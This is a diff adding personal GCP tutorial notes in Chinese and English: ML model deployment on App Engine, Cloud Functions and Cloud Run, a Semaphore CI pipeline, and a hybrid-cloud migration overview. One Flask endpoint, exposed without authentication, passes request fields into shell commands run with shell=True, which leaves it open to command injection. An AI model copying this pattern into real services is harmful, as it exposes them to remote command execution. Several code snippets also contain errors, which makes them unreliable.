    " + "" + "" + ) + return body + +@app.route("/predict", methods=["POST"]) +def predict(): + data_json = request.get_json() + + sepal_length_cm = data_json["sepal_length_cm"] + sepal_width_cm = data_json["sepal_width_cm"] + petal_length_cm = data_json["petal_length_cm"] + petal_width_cm = data_json["petal_width_cm"] + + data = np.array( + [ + [sepal_length_cm, sepal_width_cm, petal_length_cm, petal_width_cm] + ] + ) + predictions = make_prediction(data) + return str(predictions) + +if __name__ == "__main__": + app.run() +``` + + +app.yaml +- 其中包含用于运行应用程序的运行时。 +```yaml +runtime: python38 +``` + +2. 在 Google Cloud 控制台: + 1. 选择 App Engine + 2. 从 App Engine 页面,选择 Create Application + +3. App Engine + 3. 选择要在其中创建应用程序的区域。 + 4. 将应用程序语言设置为 Python 并使用 Standard 环境。 + 5. 在右上角,选择终端图标。这将激活cloud shell,这意味着您不必下载云 SDK 。 + 6. 在部署应用程序之前,必须上载所有代码。从cloud shell中克隆此存储库。 + 1. 将代码 URL 复制到剪贴板并导航回 GCP 上的cloud shell。向 shell 输入以下命令: + 2. git clone https://github.com/kurtispykes/gcp-deployment-example.git + 3. 输入以下命令导航到代码存储库: + 4. cd gcp-deployment-example/app_engine + 7. 接下来, initialize the application 。确保您选择了最近创建的项目。 + +4. 部署应用程序。 + 1. 从云 shell 运行以下命令。如果系统提示您继续,请输入Y。 + 2. gcloud app deploy + 3. 部署完成后,您将获得服务部署位置的 URL 。 + 4. 打开提供的 URL 以验证应用程序是否正常运行。您应该看到 欢迎使用我的 Flask API 消息。 + +5. 测试/predict端点。 + 1. 使用 Postman 向/predict端点发送 POST 请求。 + 2. 从那里,选择 Workspaces 、 My Workspace 、 New ,然后选择 HTTP Request 。 + 3. 接下来,将 HTTP 请求从GET更改为POST,并在请求 URL 中插入到已部署服务的链接。 + 4. 之后,导航到Body标头并选择raw,以便插入示例实例。选择send。 + 5. 您向/predict端点发送了 POST 请求,其中包含一些定义模型输入的原始数据。在响应中,模型返回[‘Iris-setosa’],这是模型成功部署的积极指示。 + +![predict-endpoint](/assets/img/predict-endpoint.png) + +--- + +## 在 Google Cloud Function 上部署 ML 模型 + +> 最明显的区别是不再从本地存储库导入序列化模型。相反,您正在调用 Google 云存储中的模型。 + +1. 将模型上传到 Google 云存储 + 1. 导航到 Cloud Storage 并选择 Buckets 、 Create Bucket 。命名为model-data-iris。 + 2. 上传持久化模型。选择 Upload Files ,导航到存储模型的位置,然后选择它。 + 3. 现在,您可以使用 Google Cloud 中的各种服务来访问此文件。要访问云存储,必须从google.cloud导入storage对象。 + +2. 从 Google 云存储中访问模型 + + ```py + import joblib + import numpy as np + from flask import request + from google.cloud import storage + + storage_client = storage.Client() + bucket = storage_client.get_bucket("model-iris-data") + blob = bucket.blob("logistic_regression_v1.pkl") + blob.download_to_filename("/tmp/logistic_regression_v1.pkl") + model = joblib.load("/tmp/logistic_regression_v1.pkl") + + def predict(request): + data_json = request.get_json() + + sepal_length_cm = data_json["sepal_length_cm"] + sepal_width_cm = data_json["sepal_width_cm"] + petal_length_cm = data_json["petal_length_cm"] + petal_width_cm = data_json["petal_width_cm"] + + data = np.array([[sepal_length_cm, sepal_width_cm, petal_length_cm, petal_width_cm]]) + predictions = model.predict(data) + + return str(predictions) + ``` + +3. Cloud Functions + 1. Create Function 。 + 1. 要求您启用 API 。选择 Enable 继续。 + 2. 函数名称= Predict 。 + 3. Trigger type = HTTP 。 + 4. Allow unauthenticated invocations =已启用。 + 5. 默认值是可以的,因此选择 Next 。 + 2. 设置运行时并定义源代码的来源。 + 1. 在 Runtime 部分,选择您正在使用的 Python 版本。 + 2. 确保在源代码头中选择了 Inline Editor 。 + 3. 复制并粘贴云函数用作 main.py 文件入口点的以下代码示例。 + ```yaml + { + "sepal_length_cm" : 5.1, + "sepal_width_cm" : 3.5, + "petal_length_cm" : 1.4, + "petal_width_cm" : 0.2 + } + ``` + 4. 使用内联编辑器更新 requirements.txt : + ```bash + flask >= 2.2.2, <2.3.0 + numpy >= 1.23.3, <1.24.0 + scitkit-learn >=1.1.2, <1.2.0 + google-cloud-storage >=2.5.0, <2.6.0 + ``` + + 3. 将 Entry point 值更改为端点的名称。 + 1. 在这种情况下,它是predict。 + + 4. 完成所有更改后,选择 Deploy 。 + 1. 部署可能需要几分钟的时间来安装依赖项并启动应用程序。 + 2. 完成后,您会看到成功部署的模型的函数名称旁边有一个绿色的勾号图标。 + +4. 现在,您可以在 Testing 选项卡上测试应用程序是否正常工作。 + 1. 使用以下示例代码进行测试: + ```yaml + { + "sepal_length_cm" : 5.1, + "sepal_width_cm" : 3.5, + "petal_length_cm" : 1.4, + "petal_width_cm" : 0.2 + } + ``` + +5. 使用此部署,您不必担心服务器管理。您的Cloud Function 仅在收到请求时执行,并且 Google 管理服务器。 + +--- + +## 在 Google AI 云上部署 ML 模型 + +> 之前的两个部署要求您编写不同程度的代码。在谷歌人工智能云上,你可以提供经过训练的模型,他们为你管理一切。 + +1. 导航到 AI Platform 。 + 1. 在 Models 选项卡上,选择 Create Model 。 + 2. 选择一个区域。选择区域后,选择 Create Model 。为模型命名,相应地调整区域,然后选择 Create 。 + 3. 转到创建模型的区域,您应该可以看到模型。选择型号并选择 Create a Version 。 + +2. 接下来,将模型链接到云存储中存储的模型。本节有几个重要事项需要注意: + + 1. AI 平台上scikit-learn的最新模型框架版本是 1.0.1 版,因此您必须使用此版本来构建模型。 + 2. 模型必须存储为model.pkl或model.joblib。 + 3. 为了遵守 GCP AI 平台的要求,我使用所需的模型版本创建了一个新的脚本,将模型序列化为model.pkl,并将其上传到谷歌云存储。有关更多信息,请参阅 /kurtispykes/gcp-deployment-example GitHub repo 中的更新代码。 + + 4. Model name: logistic_regression_model + 5. 选中 Use regional endpoint 复选框。 + 6. Region: 欧洲西部 2 + 7. 在 models 部分,确保仅选择 europe-west2 区域。 +3. 为要创建的模型版本选择 Save 。创建模型版本可能需要几分钟的时间。 + +4. 通过选择模型版本并导航到 Test & Use 标题来测试模型。 +5. 输入输入数据并选择 Test 。 + +--- + + +## Google Cloud Run + +1. 应用打包成 Docker 之后,剩下的任务包括: + 1. 把镜像推送到 Google 镜像库。 + 1. 运行 gcloud beta run deploy + 1. 只要几分钟,Cloud Run 就会使用一个可定制、可开放的域名启动新应用了。 + +示例:使用 Semaphore 进行持续部署, 为一个微服务配置 Serverless CI/CD Pipeline +1. 运行自动测试; +1. 构建 Docker 容器; +1. 将容器镜像推入 Google 镜像库; +1. 提供到 Cloud Run 预备环境的一键部署; +1. 在对 Master 分支的构建成功之后;自动部署到 Cloud Run 生产环境。 + +semaphore + +可以在 Github 上找到相关的全部代码。 + +1. 启用 Cloud Run + 1. 中启用 Cloud Run API; + 2. 安装 Google Cloud SDK; + 3. 使用 gcloud components install beta 安装 Beta 组件。 + +2. 应用容器化 + 1. Dockerfile 将一个简单的 Sinatra 应用打包 + 2. 注意如果使用你自己的 Dockerfile,必须开放 8080 端口,否则可能会看到错误: + + ```dockerfile + FROM ruby:2.5 + + RUN apt-get update -qq && apt-get install -y build-essential + ENV APP_HOME /app + + RUN mkdir $APP_HOME + WORKDIR $APP_HOME + + ADD Gemfile* $APP_HOME/ + RUN bundle install --without development test + ADD . $APP_HOME + + EXPOSE 8080 + + CMD ["bundle", "exec", "rackup", "--host", "0.0.0.0", "-p", "8080"] + ``` + +3. 登录 Google Cloud 和 GCR + 1. 要在 CI/CD Pipeline 中自动地将镜像推送到 GCR,需要在 Semaphore 中登录到 Google Cloud。 + 2. 为了安全起见,需要在 Semaphore 中根据 Google Cloud Service account 的认证密钥创建一个 Secret。 + 3. 获取认证密钥之后,在 Semaphore 中用 Secret 的形式上传到 Semaphore。假设文件名是 .secrets.gcp.json: + 4. sem create secret google-cloud-stg --file ~/Downloads/account-name-27f3a5bcea2d.json:.secrets.gcp.json + + +4. 定义分发管线 + + 1. 编写一个 Pipeline 来构建、标记并推送镜像到 GCR 了: + + ```yaml + # .semaphore/docker-build.yml + # This pipeline runs after semaphore.yml + version: v1.0 + name: Docker build + agent: + machine: + # Use a machine type with more RAM and CPU power for faster container + # builds: + type: e1-standard-4 + os_image: ubuntu1804 + blocks: + - name: Build + task: + # Mount a secret which defines an authentication key file. + # For info on creating secrets, see: + # - https://docs.semaphoreci.com/article/66-environment-variables-and-secrets + # - https://docs.semaphoreci.com/article/72-google-container-registry-gcr + secrets: + - name: google-cloud-stg + jobs: + - name: Docker build + commands: + # Authenticate using the file injected from the secret + - gcloud auth activate-service-account --key-file=.secrets.gcp.json + # Configure access to container registry, silence confirmation prompts with -q + - gcloud auth configure-docker -q + - checkout + # Tag the images with gcr.io/ACCOUNT_PROJECT_NAME/SERVICE_NAME pattern + # Use Git SHA to produce unique artifacts + - docker build -t "gcr.io/semaphore2-stg/semaphore-demo-cloud-run:${SEMAPHORE_GIT_SHA:0:7}" . + - docker push "gcr.io/semaphore2-stg/semaphore-demo-cloud-run:${SEMAPHORE_GIT_SHA:0:7}" + + promotions: + # Deployment to staging can be trigger manually: + - name: Deploy to staging + pipeline_file: deploy-staging.yml + + # Automatically deploy to production on successful builds on master branch: + - name: Deploy to production + pipeline_file: deploy-production.yml + auto_promote_on: + - result: passed + branch: + - master + ``` + + 在 deploy-staging.yml 和 deploy-production.yml 中包含了同样的步骤,区别只是服务的名称。 + + ```yaml + # .semaphore/deploy-production.yml + # This pipeline runs after docker-build.yml + version: v1.0 + name: Deploy to production + agent: + machine: + type: e1-standard-2 + os_image: ubuntu1804 + blocks: + - name: Deploy to production + task: + secrets: + - name: google-cloud-stg + jobs: + - name: run deploy + commands: + - gcloud auth activate-service-account --key-file=.secrets.gcp.json + - gcloud auth configure-docker -q + + # Deploy to Cloud Run, using flags to avoid interactive prompt + # See https://cloud.google.com/sdk/gcloud/reference/beta/run/deploy + - gcloud beta run deploy markoci-demo-cloud-run --project semaphore2-stg --image gcr.io/semaphore2-stg/markoci-demo-cloud-run:${SEMAPHORE_GIT_SHA:0:7} --region us-central1 + ``` + +5. 上线运行 + 1. 在本地终端或者 Semaphore 作业的日志中,最后一行会包含一个应用运行的网址: + 2. https://semaphore-demo-cloud-run-ud2bmvsmda-uc.a.run.app. + 3. 用浏览器打开这个网址会看到:forbidden + 4. 这是因为还没有完成最后一步:在 Google Cloud Run 控制台中开放服务 + 5. 完成之后的浏览页面:hello + +--- + +## App migrate + +Setup: +1. Set Up the GCP Environment: + + 1. Install Google Cloud SDK + + 2. Authenticate and set the project: + ```bash + Copy code + gcloud auth login + gcloud config set project [The_PROJECT_ID] + ``` + +2. Enable Vertex AI API + 1. Enable the Vertex AI API in your project: + ```bash + gcloud services enable aiplatform.googleapis.com + ``` + +2. Set Up Authentication and Permissions + + 1. Ensure that the service account used by your Cloud Run service has the necessary permissions. Assign the required roles to the service account. + + 2. Create a Service Account: + + ```bash + gcloud iam service-accounts create vertex-ai-sa \ + --description="Service account for Vertex AI access" \ + --display-name="Vertex AI Service Account" + ``` + + 3. Grant the necessary roles to the service account: For accessing the Vertex AI, you might need roles like roles/aiplatform.admin or roles/aiplatform.user. + + ```bash + gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \ + --member="serviceAccount:vertex-ai-sa@[YOUR_PROJECT_ID].iam.gserviceaccount.com" \ + --role="roles/aiplatform.user" + ``` + + +1. Upload the Configuration Files: + + 1. Create a Cloud Storage bucket: + ```bash + gsutil mb gs://[YOUR_BUCKET_NAME]/ + ``` + + 2. Upload your configuration file to the bucket: + ```bash + gsutil cp tests/java-cwe/myconfig.yaml gs://[YOUR_BUCKET_NAME]/ + ``` + +On Container: + +1. Build and Push Your Docker Image to Google Container Registry (GCR): + + 1. Tag your Docker image: + ```bash + docker tag [YOUR_IMAGE] gcr.io/[YOUR_PROJECT_ID]/my_app:latest + ``` + + 2. Authenticate with GCR: + ```bash + gcloud auth configure-docker + ``` + + 3. Push your Docker image to GCR: + ```bash + docker push gcr.io/[YOUR_PROJECT_ID]/my_app:latest + ``` + +2. Create a Script to Run Inside the Container: + + 1. Create a script run_my_app.sh: + + ```bash + #!/bin/bash + + # Initialize Google Cloud Logging + pip install google-cloud-logging + python -c "from google.cloud import logging; logging_client = logging.Client(); logging_client.setup_logging()" + + # Download configuration file from Cloud Storage + gsutil cp gs://[YOUR_BUCKET_NAME]/my_app.yaml /app/my_app.yaml + + # Log the start of the operation + echo "Starting my_app evaluation" | logger -s + + # Run the command + my_app eval --config /app/my_app.yaml \ + --no-cache \ + --output /app/output-my_app-1.csv \ + --delay 100 + + # Log the completion of the operation + echo "Completed my_app evaluation" | logger -s + + # Upload the output file to Cloud Storage + gsutil cp /app/output-my_app-1.csv gs://[YOUR_BUCKET_NAME]/ + + # Log the file upload completion + echo "Uploaded output file to Cloud Storage" | logger -s + ``` + + ```py + import logging + from google.cloud import logging as cloud_logging + import subprocess + import os + + # Initialize Google Cloud Logging + cloud_logging_client = cloud_logging.Client() + cloud_logging_client.setup_logging() + + # Set up logging + logger = logging.getLogger() + logger.setLevel(logging.INFO) + + def run_command(command): + process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + stdout, stderr = process.communicate() + return process.returncode, stdout, stderr + + # Download configuration file from Cloud Storage + logger.info("Downloading configuration file from Cloud Storage") + return_code, stdout, stderr = run_command("gsutil cp gs://[YOUR_BUCKET_NAME]/my_app.yaml /app/my_app.yaml") + if return_code != 0: + logger.error(f"Failed to download configuration file: {stderr.decode()}") + exit(1) + + # Run the command + logger.info("Starting my_app evaluation") + return_code, stdout, stderr = run_command("my_app eval --config /app/my_app.yaml --no-cache --output /app/output-my_app-1.csv --delay 1000") + if return_code != 0: + logger.error(f"Failed to run my_app: {stderr.decode()}") + exit(1) + logger.info(f"my_app evaluation completed: {stdout.decode()}") + + # Upload the output file to Cloud Storage + logger.info("Uploading output file to Cloud Storage") + return_code, stdout, stderr = run_command("gsutil cp /app/output-my_app-1.csv gs://[YOUR_BUCKET_NAME]/") + if return_code != 0: + logger.error(f"Failed to upload output file: {stderr.decode()}") + exit(1) + logger.info("Output file uploaded successfully") + + ``` + + 2. Update Your Python Script to Handle HTTP Requests: + 1. Use Flask to create a simple web server that handles HTTP requests and executes the command with the provided parameters. + + ```py + import logging + from google.cloud import logging as cloud_logging + from google.cloud import aiplatform + from flask import Flask, request, jsonify + import subprocess + import os + import json + + # Initialize Google Cloud Logging + cloud_logging_client = cloud_logging.Client() + cloud_logging_client.setup_logging() + + # Set up logging + logger = logging.getLogger() + logger.setLevel(logging.INFO) + + # Function to get access token + def get_access_token(): + metadata_server_token_url = 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token' + token_request_headers = {'Metadata-Flavor': 'Google'} + token_response = requests.get(metadata_server_token_url, headers=token_request_headers) + token_response.raise_for_status() + return token_response.json()['access_token'] + + def run_command(command): + process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + stdout, stderr = process.communicate() + return process.returncode, stdout, stderr + + app = Flask(__name__) + + @app.route('/run', methods=['POST']) + def run(): + # Get parameters from the request + config = request.json.get('config', '/app/my_app.yaml') + no_cache = request.json.get('no_cache', True) + output = request.json.get('output', '/app/output-my_app-1.csv') + delay = request.json.get('delay', 1000) + + # Download configuration file from Cloud Storage + logger.info("Downloading configuration file from Cloud Storage") + return_code, stdout, stderr = run_command(f"gsutil cp gs://[YOUR_BUCKET_NAME]/{config} /app/my_app.yaml") + if return_code != 0: + logger.error(f"Failed to download configuration file: {stderr.decode()}") + return jsonify({'status': 'error', 'message': 'Failed to download configuration file', 'details': stderr.decode()}), 500 + + # Build the my_app command + no_cache_flag = '--no-cache' if no_cache else '' + command = f"my_app eval --config /app/my_app.yaml {no_cache_flag} --output {output} --delay {delay}" + + # Get the access token + access_token = get_access_token() + os.environ['VERTEX_API_KEY'] = access_token + + # Run the command + logger.info(f"Starting my_app evaluation with command: {command}") + return_code, stdout, stderr = run_command(command) + if return_code != 0: + logger.error(f"Failed to run my_app: {stderr.decode()}") + return jsonify({'status': 'error', 'message': 'Failed to run my_app', 'details': stderr.decode()}), 500 + + logger.info(f"my_app evaluation completed: {stdout.decode()}") + + # Upload the output file to Cloud Storage + logger.info("Uploading output file to Cloud Storage") + return_code, stdout, stderr = run_command(f"gsutil cp {output} gs://[YOUR_BUCKET_NAME]/") + if return_code != 0: + logger.error(f"Failed to upload output file: {stderr.decode()}") + return jsonify({'status': 'error', 'message': 'Failed to upload output file', 'details': stderr.decode()}), 500 + + logger.info("Output file uploaded successfully") + return jsonify({'status': 'success', 'message': 'Output file uploaded successfully'}) + + if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) + ``` + +3. Create a requirements.txt File: + + 1. List the dependencies for the Python script. + ```bash + Flask==2.1.1 + google-cloud-logging==3.0.0 + google-cloud-aiplatform + ``` + +4. Modify Your Dockerfile to Include the Script: + + 1. Add the script to your Docker image and set it as the entry point. + + 2. Make sure the Google Cloud Logging library is installed. + + ```Dockerfile + FROM python:3.8-slim + + # Install dependencies + COPY requirements.txt /app/requirements.txt + RUN pip install --no-cache-dir -r /app/requirements.txt + + # Copy the application + COPY run_my_app.sh /app/run_my_app.sh + RUN chmod +x /app/run_my_app.sh + + # Set default environment variables + ENV VERTEX_API_KEY="" + ENV VERTEX_PROJECT_ID="" + ENV VERTEX_REGION="us-central1" + ENV my_app_DISABLE_TELEMETRY="true" + + # Set the working directory + WORKDIR /app + + # Run the application + ENTRYPOINT ["/app/run_my_app.sh"] + ``` + +5. Rebuild and Push Your Docker Image: + 1. Build your Docker image: + ```bash + docker build -t gcr.io/[YOUR_PROJECT_ID]/my_app:latest . + ``` + + 2. Push your Docker image to GCR: + ```bash + docker push gcr.io/[YOUR_PROJECT_ID]/my_app:latest + ``` + + 3. Create a Docker Repository in Artifact Registry to store your Docker images. + ```bash + gcloud artifacts repositories create [REPOSITORY_NAME] \ + --repository-format=docker \ + --location=[LOCATION] \ + --description="Docker repository" + ``` + + 4. Configure Docker to Authenticate with Artifact Registry to use your Google credentials for pushing and pulling images. + ```bash + gcloud auth configure-docker [LOCATION]-docker.pkg.dev + ``` + + 5. Update Your Docker Commands to Use Artifact Registry, Modify your Docker build and push commands to use the Artifact Registry path. + ```bash + docker build -t [LOCATION]-docker.pkg.dev/[YOUR_PROJECT_ID]/[REPOSITORY_NAME]/my_app:latest . + docker push [LOCATION]-docker.pkg.dev/[YOUR_PROJECT_ID]/[REPOSITORY_NAME]/my_app:latest + ``` + +6. Deploy/Update to Google Cloud Run Service: + + 1. Deploy your Docker image to Cloud Run: + ```bash + gcloud run deploy my_app-service \ + --image gcr.io/[YOUR_PROJECT_ID]/my_app:latest \ + --image [LOCATION]-docker.pkg.dev/[YOUR_PROJECT_ID]/[REPOSITORY_NAME]/my_app:latest \ + --platform managed \ + --region [YOUR_PREFERRED_REGION] \ + --allow-unauthenticated + # Note the URL provided after deployment. This is your Cloud Run service URL. + ``` + + ```bash + gcloud run deploy my_app-service \ + --image gcr.io/[YOUR_PROJECT_ID]/my_app:latest \ + --platform managed \ + --region [YOUR_PREFERRED_REGION] \ + --allow-unauthenticated \ + --update-secrets "VERTEX_AI_SA_KEY=vertex-ai-sa-key:latest" \ + --port 8080 + ``` + +7. Trigger the Cloud Run Service: + + 1. You can now trigger the Cloud Run service by making an HTTP request to the service URL. + + 2. This can be done manually via curl or programmatically via any HTTP client. + ```bash + curl -X POST [CLOUD_RUN_SERVICE_URL] + ``` + + 3. trigger the Cloud Run service by making an HTTP POST request with JSON payload containing the parameters. + ```bash + curl -X POST [CLOUD_RUN_SERVICE_URL]/run \ + -H "Content-Type: application/json" \ + -d '{ + "config": "my_app.yaml", + "no_cache": true, + "output": "/app/output-my_app-1.csv", + "delay": 1000 + }' + ``` + +8. Access Logs in Google Cloud Console: + 1. Go to the Logging section: + 2. Select Logging from the sidebar, then select Log Viewer. + 3. Filter Logs: + 1. In the Log Viewer, you can filter logs by resource type (Cloud Run Revision) and the specific service (my_app-service). + 4. View Logs: + 1. You should see logs for each request and execution of your Cloud Run service, including any logs written by your application using logger. + + + +On VM: +1. Prepare a GCP Virtual Machine (VM): + + 1. Create a VM instance: + ```bash + gcloud compute instances create my_app-vm \ + --machine-type=e2-medium \ + --image-project=debian-cloud \ + --image-family=debian-11 \ + --scopes=https://www.googleapis.com/auth/cloud-platform + ``` + + 2. SSH into the VM: + ```bash + gcloud compute ssh my_app-vm + ``` + +2. Install Required Software on the VM: + + 1. Update and install dependencies: + ```bash + sudo apt-get update + sudo apt-get install -y python3-pip + ``` + + 2. Install my_app (assuming it's a Python package, replace if necessary): + ```bash + pip3 install my_app + ``` + + 3. Install Google Cloud Storage client library: + ```bash + pip3 install google-cloud-storage + ``` + +3. Download Your Configuration File from Cloud Storage: + + 1. upload the files: + ```bash + gcloud compute scp ./test/myconfig.yaml my_app-vm:~/ + ``` + + 2. Create a script download_files.sh: + ```bash + #!/bin/bash + gsutil cp gs://[YOUR_BUCKET_NAME]/myconfig.yaml ~/ + ``` + + 3. Upload the script and make it executable: + ```bash + gcloud compute scp download_files.sh my_app-vm:~/ + gcloud compute ssh my_app-vm + chmod +x ~/download_files.sh + ``` + + 4. Run the script to download the configuration file: + ```bash + ~/download_files.sh + ``` + +4. Run the Command on the VM: + + 1. SSH into the VM + ```bash + gcloud compute ssh my_app-vm + my_app eval --config ~/myconfig.yaml \ + --no-cache \ + --output ~/output-config-1.csv \ + --delay 1000 + ``` + +5. Transfer Output File to Google Cloud Storage: + + ```bash + gsutil cp ~/output-config-1.csv gs://[YOUR_BUCKET_NAME]/ + ``` + + +7. Automate the Process with a Script (Optional): + + 1. Create a script run_my_app.sh: + ```bash + #!/bin/bash + my_app eval --config ~/config.yaml \ + --no-cache \ + --output ~/output-config-1.csv \ + --delay 1000 + + gsutil cp ~/output-config-1.csv gs://[YOUR_BUCKET_NAME]/ + ``` + + 2. Upload the script and make it executable: + ```bash + gcloud compute scp run_my_app.sh my_app-vm:~/ + gcloud compute ssh my_app-vm + chmod +x ~/run_my_app.sh + ``` + + 3. Run the script: + ```bash + ~/run_my_app.sh + ``` + +8. Schedule the Script (Optional): + + 1. Use cron to schedule the script: + ```bash + crontab -e + 0 0 * * * ~/run_my_app.sh + ``` + + + + +. diff --git a/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-Compute-migrate.md b/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-Compute-migrate.md new file mode 100644 index 00000000000..782ec4afff4 --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-Compute-migrate.md @@ -0,0 +1,277 @@ +--- +title: GCP - Compute migrate +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Compute] +tags: [GCP] +toc: true +image: +--- + +- [Compute migrate](#compute-migrate) + - [modern Hybrid on Multi-Cloud Computing](#modern-hybrid-on-multi-cloud-computing) + - [Traditional: on-premises distributed systems architecture](#traditional-on-premises-distributed-systems-architecture) + - [Modern: hybrid on multi-cloud architecture](#modern-hybrid-on-multi-cloud-architecture) + - [Migration](#migration) + - [Migrate for VM](#migrate-for-vm) + - [Migrate for Compute Engine](#migrate-for-compute-engine) + - [Anthos (Migrate for Container / from VM to Container)](#anthos-migrate-for-container--from-vm-to-container) + - [build modern hybrid infrastructure stack](#build-modern-hybrid-infrastructure-stack) + - [Transfer Appliance (Migrate for big data)](#transfer-appliance-migrate-for-big-data) + - [Migrate for IAM](#migrate-for-iam) + - [Deployment methods](#deployment-methods) + +--- + +# Compute migrate + + + +--- + + +## modern Hybrid on Multi-Cloud Computing + +--- + +### Traditional: on-premises distributed systems architecture + +![Screen Shot 2021-02-07 at 23.20.20](https://i.imgur.com/dX9TDe3.png) + +> how business is traditionally made the enterprise computing needs before cloud computing. + +- most enterprise scale applications are designed as distributed systems. + - Spreading the computing workload required to provide services over two or more network servers. + - containers can break these workloads down into microservices, + - more easily maintained and expanded. + +- on-premises systems + - Enterprise systems and workloads, containerized or not, have been housed on-premises, + - a set of high-capacity servers running in the company's network or data center. + - When an application's computing needs begin to outstrip its available computing resources + - need to procure more powerful servers. + - Install them on the company network after any necessary network changes or expansions. + - Configure the new servers + - and finally load the application and it's dependencies onto the new servers before resource bottlenecks could be resolved. + - shortcut + - The time required to complete an on-premises upgrade could be from months to years. + - also costly, the useful lifespan of the average server is only three to five years. + + +> what if you need more computing power now, not months from now? +> +> What if the company wants to begin to relocate some workloads away from on-premises to the Cloud to take advantage of lower cost and higher availability, but is unwilling or unable to move the enterprise application from the on-premises network? +> +> What if you want to use specialized products and services that only available in the Cloud? +> +> This is where a modern hybrid or multi-cloud architecture can help. + +--- + +### Modern: hybrid on multi-cloud architecture + +- creating an environment uniquely suited to the company's needs. + - keep parts of the systems infrastructure on-premises + - Move only specific workloads to the Cloud at the own pace + - because a full scale migration is not required for it to work. + +- benefits: + - Take advantage of the cloud services for running the workloads you decide to migrate. + - flexibility, scalability, and lower computing costs + - Add specialized services to the computing resources tool kit. + - such as machine learning, content caching, data analysis, long-term storage, and IoT + +- the adoption of hybrid architecture for powering distributed systems and services. + + +--- + +## Migration + + +--- + +### Migrate for VM + +![Screen Shot 2022-08-16 at 23.14.33](https://i.imgur.com/iIJ4hkf.png) + +--- + + +### Migrate for Compute Engine + +![Screen Shot 2022-08-16 at 23.14.48](https://i.imgur.com/UI4omjt.png) + +![Screen Shot 2022-08-16 at 23.15.17](https://i.imgur.com/pOHzmTN.png) + + +--- + +### Anthos (Migrate for Container / from VM to Container) + + +![Screen Shot 2022-08-16 at 23.15.26](https://i.imgur.com/CQimUze.png) + +![Screen Shot 2022-08-16 at 23.15.37](https://i.imgur.com/qoT2fh4.png) + +- modern solution for hybrid and multi-cloud distributed systems and service management + - powered by the latest innovations in distributed systems, and service management software from Google. +- On-permises and Cloud environments stay in sync + - The Anthos framework rests on Kubernetes and GKE on-prem. +- provides + - the foundation for an architecture + - the foundation that is fully integrated with centralized management through a central control plane that supports policy based application lifecycle delivery across hybrid and multi-cloud environments + - a rich set of tools + - Manage sevices on-permises and in the cloud + - monitor systems and services + - for monitoring and maintaining the consistency of the applications across all network (on-premises, Cloud, multiple clouds) + - migrate application from VMs into the clusters + - maintain consistent policies across across all network (on-premises, Cloud, multiple clouds) + +--- + +#### build modern hybrid infrastructure stack + +![Screen Shot 2021-02-07 at 23.50.31](https://i.imgur.com/7LTuSeN.png) + + +- Google Kubernetes Engine on the Cloud site of the hybrid network. + - a managed production-ready environment for deploying containerized applications + - Operates seamlessly with high availability and an SLA. + - Runs certified Kubernetes ensuring portability across clouds and on-premises. + - Includes auto-node repair, and auto-upgrade, and auto-scaling. + - Uses regional clusters for high availability with multiple masters. + - Node storage replication across multiple zones. + +- Google Kubernetes Engine deployed ON-PREM + - a turn-key production-grade conformed version of Kubernetes + - with the best practice configuration already pre-loaded. + - Provides + - easy upgrade path to the latest validated Kubernetes releases by Google. + - Provides access to container services on Google Cloud platform, + - such as Cloud build, container registry, audit logging, and more. + - integrates with Istio, Knative and Marketplace Solutions + - Ensures a consistent Kubernetes version and experience across Cloud and on-premises environments. + +- Marketplace + - both Google Kubernetes Engine in the Cloud and Google Kubernetes Engine deployed on-premises integrate with Marketplace + - so all of the clusters in network (on-premises or in the Cloud), have access to the same repository of containerized applications. + - benefits: + - use the same configurations on both the sides of the network, + - reducing the time spent developing applications. + - use ones replicate anywhere + - maintaining conformity between the clusters. + +> Enterprise applications may use hundreds of microservices to handle computing workloads. +> Keeping track of all of these services and monitoring their health can quickly become a challenge. + + + +- Anthos + - an Istio Open Source service mesh + - take these guesswork out of managing and securing the microservices. + +- Cloud interconnect + - These service mesh layers communicate across the hybrid network by Cloud interconnect + - to sync and pass their data. + +- Stackdriver + - the built-in logging and monitoring solution for Google Cloud. + - offers a fully managed logging, metrics collection, monitoring dashboarding, and alerting solution that watches all sides of the hybrid on multi-cloud network. + - the ideal solution for single easy configure powerful cloud-based observability solution + - a single pane of class dashboard to monitor all of the environments. + +- Anthos Configuration Management + - provides + - a single source of truth for the clusters configuration. + - source of truth is kept in the policy repository, a git repository. + - this repository can be located on-premises or in the Cloud. + - deploy code changes with a single repository commit. + - implement configuration inheritance, by using namespaces. + +- Anthos Configuration Management agents + - use the policy repository to enforce configurations locally in each environment, + - managing the complexity of owning clusters across environments. + + +--- + + +### Transfer Appliance (Migrate for big data) + + + +![Screen Shot 2022-08-16 at 23.15.56](https://i.imgur.com/ft78tg5.png) + + +--- + + + +### Migrate for IAM + + +![Screen Shot 2022-08-16 at 23.16.34](https://i.imgur.com/I5KqbRd.jpg) + +![Screen Shot 2022-08-16 at 23.16.43](https://i.imgur.com/4C6tS1O.jpg) + + + +--- + +## Deployment methods + +Blue green deployments + +- 2 environments, arbitrarily called blue, and green +- toggle between the two of them. +- Imagine + - green environment is currently serving traffic, + - use the blue environment to test out the latest version, + - and once you're happy with the results, just switch the traffic over to blue, + - and you just repeat this process. + +![Screen Shot 2022-08-25 at 00.31.08](https://i.imgur.com/RY6hVRf.png) + + + +Rolling deployments + +- Rolling deployments progressively replace a resource with another version until everything has been updated. +- Imagine + - have five resources all on version 100, and you wanna roll out version 101, without impacting users, + - so you update the resources one at a time, making sure there are no failures until everything is up to date. + +![Screen Shot 2022-08-25 at 00.39.39](https://i.imgur.com/k26ROyK.png) + + + + +canary deployments + +- Canary deployments get their name from a mining practice, which involved bringing canaries into coalmines, because their death was an indicator of lethal gases. +- The process is similar in software though, without the potential ethical debates. +- Imagine + - A new version is introduced into the current group of resources and it's monitored. + - If there are problems, then only a small portion of the total user base are going to experience those problems. + - Once everything's working as it should, that version can be fully deployed. + + +![Screen Shot 2022-08-25 at 00.40.02](https://i.imgur.com/syhSKBf.png) + +Traffic splitting deployments + +- Traffic splitting diverts traffic to a different version of a resource +- 